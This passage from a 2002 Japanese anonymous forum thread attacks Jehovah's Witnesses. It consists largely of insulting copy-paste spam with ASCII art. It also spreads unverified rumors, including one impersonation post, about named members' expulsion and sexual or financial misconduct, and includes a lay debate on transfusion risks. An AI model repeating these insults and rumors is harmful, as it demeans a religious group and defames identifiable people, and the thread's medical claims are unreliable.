〜公開質問状〜

『訪問一切禁止』の『ステッカー』が
『読めない』又は『見えない』のですか


162 :名無しさん@1周年:02/07/01 15:36
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


163 :名無しさん@1周年:02/07/01 15:42
読めないし見えない。だからそんなの貼っても無駄だよば〜か

この様な態度、無知・無教養・非常識を丸出しですね。
エホバの反社会性を露呈してしまいましたね。


164 :めざめ:02/07/01 15:57
>>163
キャハ ばれちゃった。

165 :名無しさん@1周年:02/07/01 16:16
読めないし見えない。だからそんなの貼っても無駄だよば〜か

*この様な態度、無知・無教養・非常識を丸出しですね。
 エホバの反社会性を露呈してしまいましたね。


166 :名無しさん@1周年:02/07/01 16:18

エホバの証人情報センターが更新されています。

「読者の広場」 更新

「物事をありのままに考えるエホバの証人より」 更新

167 :名無しさん@1周年:02/07/01 16:37
>>467のぼけ、お前が無知・無教養・非常識を丸出しだぜ。
ネットやめて早くしね、このこぶたちゃん

*この様な態度、無知・無教養・非常識を丸出しですね。
 エホバの反社会性を露呈してしまいましたね。


168 :名無しさん@1周年:02/07/01 18:14
H間兄弟排斥ってほんと??

169 :名無しさん@1周年:02/07/01 18:26
エホバは糞宗教     
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


170 :名無しさん@1周年:02/07/01 18:29
エホバのバカ共って他にすることないのかしら!暇人ね。
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@



171 :名無しさん@1周年:02/07/01 21:15
エホバのバカ共って他にすることないのかしら!暇人ね。
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


172 :名無しさん@1周年:02/07/01 21:16
>>168  なんだ
なんだ 
       なにごとだ

もっと詳しく話してくれ

173 :名無しさん@1周年:02/07/01 21:23
それはこのスレの>>1のことか

174 :名無しさん@1周年:02/07/01 21:28
エホバのバカ共って他にすることないのかしら!暇人ね。
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

175 :名無し@一周年:02/07/01 21:32
馬鹿を相手にするのもばかばかしい。
もりぐちのたかしばか。

176 :名無しさん:02/07/01 21:37

>172
エホバの証人情報センターの
更新された「読者の広場」の投稿を見て下さい。

177 :名無しさん@1周年:02/07/01 21:37
エホバのバカ共って他にすることないのかしら!暇人ね。
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


178 :名無しさん@1周年:02/07/01 21:39
ほんとだよ

179 :名無しさん@1周年:02/07/01 21:44
エホバのバカ共って他にすることないのかしら!暇人ね。
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


180 :名無しさん@1周年:02/07/01 22:41
ずれなおったかしら、美人だいなしよ
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


181 :名無しさん@1周年:02/07/01 23:01
エホバのバカ共って他にすることないのかしら!暇人ね。
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


182 :名無しさん@1周年:02/07/02 00:35
>>181
マジレスするとだなw
エホ症患者は自分たちだけが真理を知っていて、
自分たちはそれを人々に伝える使命をもっていると
本気で思ってるんだよ。

183 :名無しさん@1周年:02/07/02 00:51
彼らだけが神の真理を持っていると思ってるし、
それを世にふれ告げるのが神の望みだから、
世の中の人(彼ら風に言うとサタンに属す者)がどんなことを言おうが、
伝道にくるよ。

>>181のように反対する人たちは、エホ証の信仰を硬くしているんだよね。
彼らに合ったらもっと理論的に攻めてほしい。
彼らが怖い訳ではあるまい?

184 :名無しさん@1周年:02/07/02 00:52
と言っても、彼らに理論は通用しないよ。
彼らは物事を論理的に考えられないから。

185 :名無しさん@1周年:02/07/02 01:09
>人々に伝える使命をもっていると本気で思ってるんだよ。
洗脳の効果????


186 :名無しさん@1周年:02/07/02 01:34
本間年雄の排斥おめでとう!!!! 織田正太郎、杉浦勇、藤本亮介、池端重雄 も続けェ!!!!

187 :名無しさん@1周年:02/07/02 01:38
本間年雄が組織の秘密を色々語ってくれるでしょうウフフフ。

188 :ペルシャ☆ ◆elOncjKw :02/07/02 02:15
>本間年雄の排斥

それ、本当ですの? ペルシャ、本間さんとは直接お会いしたことがありますのよ。

189 :名無しさん@1周年:02/07/02 02:18
暗い宗教やね。
いや−んなっちゃうよ

190 :恥の証人:02/07/02 03:17
   波及効果―もう一つの宗教も独自のスキャンダルに直面

先週、ローマ・カトリックの司教団が「罪の告白(mea culpa)」を発表したころ、
エホバの証人(98万人を擁する閉鎖的なグループ)は彼ら自身の性的暴行
スキャンダルに直面して動揺した。1月にカリフォルニア州サクラメントの女性は、
会衆の成員によってレイプされたのに、教会の指導者が行政当局に届け出る
ことを故意に怠ったとする訴訟を起こした。

メリーランド州の著名な教会の指導者は、3人の女性を性的暴行を加えたと
して、2月に起訴された。彼女たちは、長老たちから暴行のことを告発しない
よう命じられ、告発すると破門させられたと話す。最近、幾つかのストーリーが
テレビで放映されると、ウィリアム・H・ブラウンの運営する被害者支援団体に
はEメールと電話が殺到した。「カトリック教徒は司祭だけをかばう。エホバの
証人は教会の他の成員にも同じようにする」と、ケンタッキー州の著名な長老
であるブラウンは言う。

サラ・ポアソンは、娘に対する性的虐待のかどで夫が有罪判決を受けるに
先立って、「もっと祈り、より良い妻になるように」と教会の長老たちから
告げられたと話す。教団のスポークスマンであるJ・R・ブラウンは、
同団体は地方の指導者たちに法律で要求されている場合には警察に
通報するよう指示していると言う。彼らは独自にも取り調べる。「それは
被疑者と直接会って行われる」。もし彼が告白するなら、戸別伝道に
出ることは―他の証人を同伴しない限りは―禁じられることになる、
とブラウン。さらにブラウンはこうも指摘する。教団を非難する人々の
ほとんどは道をそれた元証人であり、捕食者たちの「無防備なえじき」
なのだと。だが、ポアソンの娘である20歳のヒース・ベリーのような
犠牲者たちは、この教団こそが人を食い物にしていると言う。「彼らは
子供たちをがっかりさせているわ。虐待が続くのを見て見ぬ振りをする
のがクリスチャンだとは思えないもの」。

元記事:http://www.msnbc.com/news/767800.asp
関連記事:http://www.jwic.com/n062402.htm

191 :訂正:02/07/02 03:28
「3人の女性を」→「3人の女性に」

「道をそれた元証人」→「道をそれた証人」
(この場合はブラウンのような改革派証人たちのことなんだな)

192 :名無しさん@1周年:02/07/02 03:38
>本間年雄の排斥

まじっすか。ニュースソースきぼんぬ。

193 :名無しさん@1周年:02/07/02 03:47
日本支部崩壊の序曲

194 :もっとおもしろく書け梅仙人169!:02/07/02 04:02
 

195 :名無しさん@1周年:02/07/02 04:56
エホバの証人性的暴行で起訴


196 :名無しさん@1周年:02/07/02 08:27
エホバの証人性的暴行で起訴

エホバのバカ共って他にすることないのかしら!暇人ね。
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。

197 :名無しさん@1周年:02/07/02 08:37
>100さんへ
いいえ、むしろ、他の宗教をやってる人には熱心に勧誘に来るよ。
宗教に興味ある人用と全くない人用の別々のパンフレットが存在するらしい。
うちも実家は仏教の寺なんですが、年に1回は親子が勧誘に来ていた。
「間違った宗教を広められては困ります」と言われたこともある…。
(うちは代々の檀家さん以外には布教してないんだけど…)
小学生ぐらいの女の子の目の前でその親御さんに向かって文句は言えないし、
子供は子供で申し訳無さそうな目をしてて、ほんとかわいそうだった。
母はその親子の住所氏名を聞き出して、
子供の通う学校に連絡し「これでは子供がかわいそう、
なんとかしてあげて」と訴えていたけど…。


198 :名無しさん@1周年:02/07/02 09:22
エホバは、パクリまでする卑怯者ですね。
   .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@

お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


199 :名無しさん@1周年:02/07/02 09:35
私たちエホバは、自作自演の人生。
  .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


200 :asagayakita:02/07/02 09:41
 エホバもふざけるな、かも知れないが、
 老舗のキリスト教団らが手を結んで排除しようとしている点はどうなんだ。

 カトリック や プロテスタント は良くて、エホバ は悪である根拠はどこにあるんだ。
 学校法人を巻き込んで、一教団を排除しようとしている彼らは、どうして正しいと言えるのか?




201 :名無しさん@1周年:02/07/02 10:01
嫌われる原因はこれなんだよ。

*お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。



202 :名無しさん@1周年:02/07/02 10:40
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203 :名無しさん@1周年:02/07/02 10:58
エホバのような暇人はただの暇人じゃないと思う
同じ事を繰り返すことの出来る忍耐力?を持っているのかも?
もしくはタダの大バカ  そう思わない?


204 :名無しさん@1周年:02/07/02 11:44
本間Bの排斥の理由は背教ですかねー?

205 :名無しさん@1周年:02/07/02 12:21
エホ:エホバのような暇人はただの暇人じゃないと思う
   同じ事を繰り返すことの出来る忍耐力?を持っているのかも?
   もしくはタダの大バカ  そう思わない?

ホバ:やっぱり筋金入りの大バカにはかなわいな

206 :名無しさん@1周年:02/07/02 13:00
いい加減荒らすのやめたら?
つまんないよ。

207 :名無しさん@1周年:02/07/02 13:35
迫害を装った
エホバの自作自演に決まってるじゃ。

208 :名無しさん@1周年:02/07/02 13:57
>143
頭いいね。

209 :boy's ◆yRaJFlJ. :02/07/02 17:03
>エホバ は悪である根拠はどこにあるんだ。

1、キリスト教で無いのに、キリスト教を名乗っている。
2、JW経典を、キリスト教の聖書と偽っている。
3、偽りのハルマゲドン予想し、善良な市民を混乱させる。
4、でたらめな理由で輸血を拒否させる。
5、自分たち以外の団体を誹謗中傷する。
6、聖書を満足に読んだことが無いのに知ったかぶりする信者が多い。
7、私、個人が迷惑を受けた。
8、個人的にカルト宗教と新興宗教が嫌い。

210 :名無しさん@1周年:02/07/02 17:15
私たちエホバは、自作自演の人生。
  .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


211 :名無しさん@1周年:02/07/02 17:42
210
お前も暇だよな

212 :名無しさん@1周年:02/07/02 17:46
嫌われる原因はこれなんだよ。

*お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。


213 :名無しさん@1周年:02/07/02 17:50
>>210
どうだ 非エホの教会に入信してみないか?
もっとバカなことができるぞ!


214 :名無しさん@1周年:02/07/02 18:03
211お前も暇だよな
 .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@

215 :名無しさん@1周年:02/07/02 18:04
211お前も暇だよな
 .∧w∧     ∧w∧ ホントデスネ
   . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


216 :名無しさん@1周年:02/07/02 18:05
ヾ(-д-;)ぉぃぉぃ
ずれてるぞ。
なれないことすな。

217 :名無しさん@1周年:02/07/02 18:05
211お前も暇だよな
  .∧w∧     ∧w∧ ホントデスネ
   . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@
       

218 :名無しさん@1周年:02/07/02 18:05
半角と、全角の違いぐらい分かってから
AAやれボケ!

219 :名無しさん@1周年:02/07/02 18:06
211お前も暇だよな
   .∧w∧     ∧w∧ ホントデスネ
   . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


220 :名無しさん@1周年:02/07/02 18:07
211お前も暇だよな
   .∧w∧     ∧w∧ ホントデスネ
   . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@



221 :名無しさん@1周年:02/07/02 18:10
エホバには218のようなオタクが多いんだね。

222 :名無しさん@1周年:02/07/02 18:20
エホ:エホバのような暇人はただの暇人じゃないと思う
   同じ事を繰り返すことの出来る忍耐力?を持っているのかも?
   もしくはタダの大バカ  そう思わない?

ホバ:やっぱり筋金入りの大バカにはかなわいな


223 :名無しさん@1周年:02/07/02 18:55
空白よりまし
少しは進歩するんですな。あぁよしよしよい子だ

224 :名無しさん@1周年:02/07/02 19:00
ずれたAAをみんなでコピペしてるあほスレはここですか?

225 :名無しさん@1周年:02/07/02 19:18
                          サルでも              (  (
                   ,,.r'' ゛~~` ''ッ,,  こんなコピペしねーぞ             )   )
                 、 ゛  ,,,,,,,,,,,,,,,,,,,,, ヾ.   こんな餓鬼のコピペ     ,.、   / /
                  ミ   ミ゛,へ.__, ,_ノヽ i.           サル仲間でもわらいもんだぜ     .| |l   l ,´
                ミ    ミ, ( ・) {・フ 〉 ミ.          _-、i::| |ニニii '
            、,,,,ツi:     ミ,`~´ ヽ~〈  .ミ        /,‐ヽヽ`、||
          、シ``   i:      ,ゞ  'n.inヽ. .ミ          ( .〉〉/
         シ  //      ミ`    l.l ヽ"、         /  ノ
        ミ/ シ           彡 ,=こ二=.{ ミ,,      ,r'´ ,,、'゛
        ミi. /  /       ' ! w、`~^' vwv '、   ミ      〃 .ミ
       .ミ /     i:  /      `^^     \ ."   〃  ミ
      .ミ.:/ / / i:      v    !  ,,   \ 、 〃  ミ
      :i;     .i:   w      !!   ミ!:   ミ \\( ⌒ヽ
      :i;  /   i:      !!       .ミ キ    , ⌒`、_  )  )
      :il     .i:    !    w!    ミ .:i.   (_ (  _,ノ  ) ,
     :il   !  i:           ! ,〃゛  キ    ゞ、 __,  ノ ,
     .:il !   /~~````` " '''' = ‐- 、ミ  _,,,,_ミ,  il `  ー ´
     :il   ´ ―  ̄ - ,,. -‐‐-、、 ヽ. ヾ、  ゞ、 `  〃
     ゝ、wx.mn.!!++ナ'~      ヾ~ヽ、 ヽ、 ,, ~^^}´
        彡   〃  〃     }} /〉.〉〉〉i''"   〃
         彡、     {{     〃,__!////l |    〃
           X,,    》.   ≪.__`‐'.' '´,Uwwvw'、...,,,___


226 :名無しさん@1周年:02/07/02 19:28
エホバの皆さん、猿なんかに言われっぱなしでいいのかよ。

227 :名無しさん@1周年:02/07/02 20:28
私たちエホバは、自作自演の人生。
  .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


228 :名無しさん@1周年:02/07/02 20:34
本音を集めてます。
http://jbbs.shitaraba.com/study/123/koware.html

229 :名無しさん@1周年:02/07/02 20:51
>>197
>「間違った宗教を広められては困ります」
このセリフって、実はエホバの教義に反してるんですよねー
他の宗教を迫害しちゃいけないんだから。

230 :boy's ◆yRaJFlJ. :02/07/02 21:13
>>229
最近、また教義が変わったの?
他の宗教の誹謗中傷をするのがJWの常套手段では。。。

「油をそそがれた14万4千人」ってカトリックやプロテスタントの信者にも割り当てあるの?
ああ、
JW独自の教義だからカトやプロは興味を示さないと思いますけど。



231 :名無しさん@1周年:02/07/02 21:20
                          サルでも              (  (
                   ,,.r'' ゛~~` ''ッ,,  こんなコピペしねーぞ             )   )
                 、 ゛  ,,,,,,,,,,,,,,,,,,,,, ヾ.   こんな餓鬼のコピペ     ,.、   / /
                  ミ   ミ゛,へ.__, ,_ノヽ i.           サル仲間でもわらいもんだぜ     .| |l   l ,´
                ミ    ミ, ( ・) {・フ 〉 ミ.          _-、i::| |ニニii '
            、,,,,ツi:     ミ,`~´ ヽ~〈  .ミ        /,‐ヽヽ`、||
          、シ``   i:      ,ゞ  'n.inヽ. .ミ          ( .〉〉/
         シ  //      ミ`    l.l ヽ"、         /  ノ
        ミ/ シ           彡 ,=こ二=.{ ミ,,      ,r'´ ,,、'゛
        ミi. /  /       ' ! w、`~^' vwv '、   ミ      〃 .ミ
       .ミ /     i:  /      `^^     \ ."   〃  ミ
      .ミ.:/ / / i:      v    !  ,,   \ 、 〃  ミ
      :i;     .i:   w      !!   ミ!:   ミ \\( ⌒ヽ
      :i;  /   i:      !!       .ミ キ    , ⌒`、_  )  )
      :il     .i:    !    w!    ミ .:i.   (_ (  _,ノ  ) ,
     :il   !  i:           ! ,〃゛  キ    ゞ、 __,  ノ ,
     .:il !   /~~````` " '''' = ‐- 、ミ  _,,,,_ミ,  il `  ー ´
     :il   ´ ―  ̄ - ,,. -‐‐-、、 ヽ. ヾ、  ゞ、 `  〃
     ゝ、wx.mn.!!++ナ'~      ヾ~ヽ、 ヽ、 ,, ~^^}´
        彡   〃  〃     }} /〉.〉〉〉i''"   〃
         彡、     {{     〃,__!////l |    〃
           X,,    》.   ≪.__`‐'.' '´,Uwwvw'、...,,,___
エホバの皆さん、猿なんかに言われっぱなしでいいのかよ。

232 :本間年雄:02/07/02 21:48
この度、排斥されました。理由は会衆のおねーちゃんを
食べちゃったからです。
ごめんなさい。
仕事もありません。
僕はこれからどうやって生きていけば良いんでしょう。。。

233 :名無しさん@1周年:02/07/02 22:03
サルになればよい
サルは仕事なんかしませんよ

234 :名無しさん@1周年:02/07/02 23:18
>>233が良いこと言った!

>>230
聖書に書いてなかったっけ。
私の根拠としては、エホ症の 元 友達が、
他の宗教を否定したりはしないとか言ってた

235 :名無しさん@1周年:02/07/02 23:28
>>234
それは一般人を敵にまわさないための戦略的な欺き。
聖書は字句通りに受け止めれば極端に排他的だよ。
「信者と不信者との間に何の関わりがあるか」
「汚れたものの中から出よ」「女も子供も生かして
おいてはならない」「絶滅、絶滅、絶滅」ってね。

236 :名無しさん@1周年:02/07/02 23:30
本間トシオ兄弟の排斥の理由は
マルチ商法に手を染めたから。
関東地方を中心に大きな集まりを
開いたりしてたらしいよ。

237 :名無しさん@1周年:02/07/03 00:36
エホ症になる前にマルチ商法やってたのも結構いるよね、たいてい模範的で熱心な兄弟として崇められてます。
本間トシオ氏も元々商人家系らしいからヤッパリネって感じだよ。

238 :名無しさん@1周年:02/07/03 00:54
エホ症患者の間では、フランズは同性愛者、明石順三は
偶像崇拝者ってことになってるぞw

二人ともエホ症の組織のあり方を批判していたんだがな。

239 :ペルシャ☆ ◆elOncjKw :02/07/03 01:07
>本間トシオ兄弟の排斥の理由は
  マルチ商法に手を染めたから。

まさか「アムウェイ」じゃあないでしょうね?
http://life.2ch.net/test/read.cgi/psy/1015884712/l50

240 :名無しさん@1周年:02/07/03 01:09
>>238
レイモンドと呼んでくらはい。
フランズだと兄(四代会長)と間違えるから。

241 :名無しさん@1周年:02/07/03 01:19
                          サルでも              (  (
                   ,,.r'' ゛~~` ''ッ,,  こんなコピペしねーぞ             )   )
                 、 ゛  ,,,,,,,,,,,,,,,,,,,,, ヾ.   こんな餓鬼のコピペ     ,.、   / /
                  ミ   ミ゛,へ.__, ,_ノヽ i.           サル仲間でもわらいもんだぜ     .| |l   l ,´
                ミ    ミ, ( ・) {・フ 〉 ミ.          _-、i::| |ニニii '
            、,,,,ツi:     ミ,`~´ ヽ~〈  .ミ        /,‐ヽヽ`、||
          、シ``   i:      ,ゞ  'n.inヽ. .ミ          ( .〉〉/
         シ  //      ミ`    l.l ヽ"、         /  ノ
        ミ/ シ           彡 ,=こ二=.{ ミ,,      ,r'´ ,,、'゛
        ミi. /  /       ' ! w、`~^' vwv '、   ミ      〃 .ミ
       .ミ /     i:  /      `^^     \ ."   〃  ミ
      .ミ.:/ / / i:      v    !  ,,   \ 、 〃  ミ
      :i;     .i:   w      !!   ミ!:   ミ \\( ⌒ヽ
      :i;  /   i:      !!       .ミ キ    , ⌒`、_  )  )
      :il     .i:    !    w!    ミ .:i.   (_ (  _,ノ  ) ,
     :il   !  i:           ! ,〃゛  キ    ゞ、 __,  ノ ,
     .:il !   /~~````` " '''' = ‐- 、ミ  _,,,,_ミ,  il `  ー ´
     :il   ´ ―  ̄ - ,,. -‐‐-、、 ヽ. ヾ、  ゞ、 `  〃
     ゝ、wx.mn.!!++ナ'~      ヾ~ヽ、 ヽ、 ,, ~^^}´
        彡   〃  〃     }} /〉.〉〉〉i''"   〃
         彡、     {{     〃,__!////l |    〃
           X,,    》.   ≪.__`‐'.' '´,Uwwvw'、...,,,___
エホバの皆さん、猿なんかに言われっぱなしでいいのかよ。

242 :boy's ◆yRaJFlJ. :02/07/03 03:09
>>234

えーと、JWは聖書の都合の良い部分しか引用しないから
「聖書に書いてある。」と言っても間に受けない方がいいよ。
かりに、書いてあっても元の意味と違う引用するからね。

本題、
カトリックやプロテスタントの事を親のかたきみたいに中傷すること多いよ。
子供にいたずらする神父やら、やたら寄付を強要する牧師の話をするよ。
JWはお金に綺麗かなあ?

それとか、
「キリスト教は、初期の頃は良かったけど、ローマカトリックあたりから堕落し始め、
新しくエホバ神に選ばれた組織が「JW」です。」とか、
「カトリックは偽クリスチャン」とか、言いたいほうだい言うけどね。

「JWは他の宗教を迫害しない。」の「迫害しない」は
他の宗教の信者を捕まえて火あぶりにしない、ぐらいの意味だよ。


243 :名無しさん@1周年:02/07/03 03:15
背教者を装ったエホ症のこピぺ荒らしうざいいいいいいいいい。

244 :JW2世:02/07/03 03:47
エホ証は、自分の子供を迫害している、と思うのだよ。

245 :名無しさん@1周年:02/07/03 07:51
 私は、在日の方々が本当にこれまでの苦労を経て、
そしてみずから働いたお金でみずからを守る、そういう本来のある
べき生活が一日でも早く営まれるような、そういう形で臨んでいくべきだ
というふうに思っております。中には、先ほどから出ております万景峰号
を何とかとめてくれないかという朝鮮総連関係の方もおられると聞いております。
あの船がとまれば私たちはミツグ君でなくなるんだ、だからとめてくれという
ような、これは切実な叫びであるということもお伝えいたしまして、
私の質問を終わらせていただきます

246 :名無しさん@1周年:02/07/03 09:30
エホ証は、自分の子供を迫害している。

247 :名無しさん@1周年:02/07/03 09:42
>boy's ◆yRaJFlJ
輸血はエイズやC型肝炎、その他の病気に感染したり
他人の血液に体対して拒絶反応を示したりすることがあり危険です。
(エホバの証人ではないよ)

248 :名無しさん@1周年:02/07/03 09:57
                          サルでも              (  (
                   ,,.r'' ゛~~` ''ッ,,  こんなコピペしねーぞ             )   )
                 、 ゛  ,,,,,,,,,,,,,,,,,,,,, ヾ.   こんな餓鬼のコピペ     ,.、   / /
                  ミ   ミ゛,へ.__, ,_ノヽ i.           サル仲間でもわらいもんだぜ     .| |l   l ,´
                ミ    ミ, ( ・) {・フ 〉 ミ.          _-、i::| |ニニii '
            、,,,,ツi:     ミ,`~´ ヽ~〈  .ミ        /,‐ヽヽ`、||
          、シ``   i:      ,ゞ  'n.inヽ. .ミ          ( .〉〉/
         シ  //      ミ`    l.l ヽ"、         /  ノ
        ミ/ シ           彡 ,=こ二=.{ ミ,,      ,r'´ ,,、'゛
        ミi. /  /       ' ! w、`~^' vwv '、   ミ      〃 .ミ
       .ミ /     i:  /      `^^     \ ."   〃  ミ
      .ミ.:/ / / i:      v    !  ,,   \ 、 〃  ミ
      :i;     .i:   w      !!   ミ!:   ミ \\( ⌒ヽ
      :i;  /   i:      !!       .ミ キ    , ⌒`、_  )  )
      :il     .i:    !    w!    ミ .:i.   (_ (  _,ノ  ) ,
     :il   !  i:           ! ,〃゛  キ    ゞ、 __,  ノ ,
     .:il !   /~~````` " '''' = ‐- 、ミ  _,,,,_ミ,  il `  ー ´
     :il   ´ ―  ̄ - ,,. -‐‐-、、 ヽ. ヾ、  ゞ、 `  〃
     ゝ、wx.mn.!!++ナ'~      ヾ~ヽ、 ヽ、 ,, ~^^}´
        彡   〃  〃     }} /〉.〉〉〉i''"   〃
         彡、     {{     〃,__!////l |    〃
           X,,    》.   ≪.__`‐'.' '´,Uwwvw'、...,,,___
エホバの皆さん、猿なんかに言われっぱなしでいいのかよ。


249 :名無しさん@1周年:02/07/03 10:32
私たちエホバは、自作自演の人生。
  .∧w∧     ∧w∧ ホントデスネ
  . ( ,,゚Д゚)    (゚ー゚* )
    /つ旦|  ∴  |旦とヽ
 @(___) ..丁 (___)@


250 :名無しさん@1周年:02/07/03 11:19
>>247
だから?
あなた、交通事故などによって、明らかに大量失血が原因で生命の危険にさらされている場合でも
輸血による危険のほうを重んじるのですか。




251 :boy's ◆yRaJFlJ. :02/07/03 11:46
>>247さん
ん、話の流れが輸血の話になったの?

たぶんJW信者からの受け売りだと思いますけど、
彼らは輸血のマイナス面を強調して、プラスの面は言わないから
はなし半分に聞いといた方が良いよ。


252 :名無しさん@1周年:02/07/03 11:55
エホ証は、自分の子供を迫害している。

253 :名無しさん@1周年:02/07/03 11:57
エホ証は、自分の子供を迫害している。

254 :名無しさん@1周年:02/07/03 11:58
輸血のマイナス面をもっと勉強しなさい
そのことをよくご存じの良心的なお医者様は存在します

http://www.bf.wakwak.com/~kohyuhkai/pages/muyuketu.htm

255 :名無しさん@1周年:02/07/03 12:58
>>254
フツーの人は、輸血の危険性と有益性を天秤にかけて、その上で輸血なり非輸血
なりを決定しているの。非輸血を研究している医者は、輸血の危険性を最小限に
留めようと努力しているだけなの。

エホ証は「なにがなんでも非輸血」なのだから、輸血の危険性を前面に出して
プレゼンしても未信者を納得させることは出来ない。
医療は「非輸血=絶対善」と言ってるわけじゃないんだから。
エホ証の言う「良心的な医者」も、自説を誇大解釈されて困っているだろうな。

かといって教理から論じようとしても、現在の自己矛盾な教理では無理だろうけどね。


256 :247:02/07/03 13:15
>250
エホバの証人は輸血による危険と信仰を取るらしいね。
僕も生きて苦しむよりは、しないほうがいいね。


257 :へなちょこ:02/07/03 13:21
そんなんなんでもええやろ!もっとまともなこと話しろよ!カス野郎ども!

258 :247:02/07/03 13:24
>251
>はなし半分に聞いといた方が良いよ。そうかな?
僕はとりあえずまじめに聞いてそのあと自分で調べたり、
考えたりするんだけど

259 :boy's ◆yRaJFlJ. :02/07/03 13:40
>>258
自分で調べた結果として、
輸血をしないなら別にかまわないと思いますよ。
それで、どの様に考えて輸血拒否の結論になったのですか?

あ、ここで言う「輸血拒否」は「死んでも良いから輸血拒否します。」
の論調の「輸血拒否」ね。



260 :名無しさん@1周年:02/07/03 13:46
エホバは、子どもの人権を一切認めない抑圧団体ですね。

261 :名無しさん@1周年:02/07/03 13:48
エホバは、子どもの人権を一切認めない抑圧団体ですね。


262 :名無しさん@1周年:02/07/03 13:50
エホバは、子どもの人権を一切認めない抑圧団体ですね。


263 :名無しさん@1周年:02/07/03 13:51
そりゃ、古い律法からっしょ。それを字義通りに捉えて当てはめてるからっしょ?聖書には秘された奥義が存在するのにね。血は他人の魂、それを何も考えずに受け入れてはならない。つまり他人の悪いところを自分に受け入れてはならない。

264 :名無しさん@1周年:02/07/03 14:01
>255
>フツーの人は、輸血の危険性と有益性を天秤にかけて、その上で輸血なり非輸血
なりを決定しているの。

あなたの述べられた上の点に同意します。わたしはエホバの証人ではありません。
私の経験から言わせてもらいたいと思います。
子供が病気で医師から輸血の必要性を宣告されました。わたしは頭の中で感染症など危険性についていろいろな事を考えました。
ちょうど何かの本で輸血の危険について読んだ記憶がありました。他人の血液よりも親族の血液が危険なことを書いていたのを思い出しました。
医師にそのことを尋ねてみましたが、医師は「他人よりも親族のほうが血液の型が似てるので安全ですよ」といわれました。
確かに血液型不適合で死んだというニュースは何度も見ていたので医師の言われることだし信用するしかないと思ってそれ以上は食いつくことはしませんでした。

別の機会に他の医師に同じ事をお聞きしてみました。返事は違っていました。
「あなたの言うとおり親族の血は危険度が高いです」とその医師は言われました。
わたしは素人なので専門的なことはわかりませんが親族の血液を輸血する場合、メリットとデメリットが同居しているのかなと思いました。
二人の医師の話を総合してみるとそのように思いました。

ですから255さんの言われる”天秤”にかける状況に遭遇したときには医師と十分な話し合いが必要になると感じています。
決して妥協しないで納得ゆくまで説明を受けること、一人の医師で納得ゆかないなら他の医師にも聞くことも必要かと思いました。



265 :名無しさん@1周年:02/07/03 14:20
エホバは、子どもの人権を一切認めない抑圧団体ですね。


266 :名無しさん@1周年:02/07/03 14:22
エホバは、子どもの人権を一切認めない抑圧団体ですね。


267 :258:02/07/03 14:25
>259
僕の意見ですが、(エホバの証人の考えとは違うとおもう
1、輸血後の危険(もしエイズなどに感染すると人からのけものにされたり
自分や家族が危害を加えられる恐れあり。)
それから、なんらかの感染症を人に移す可能性あり
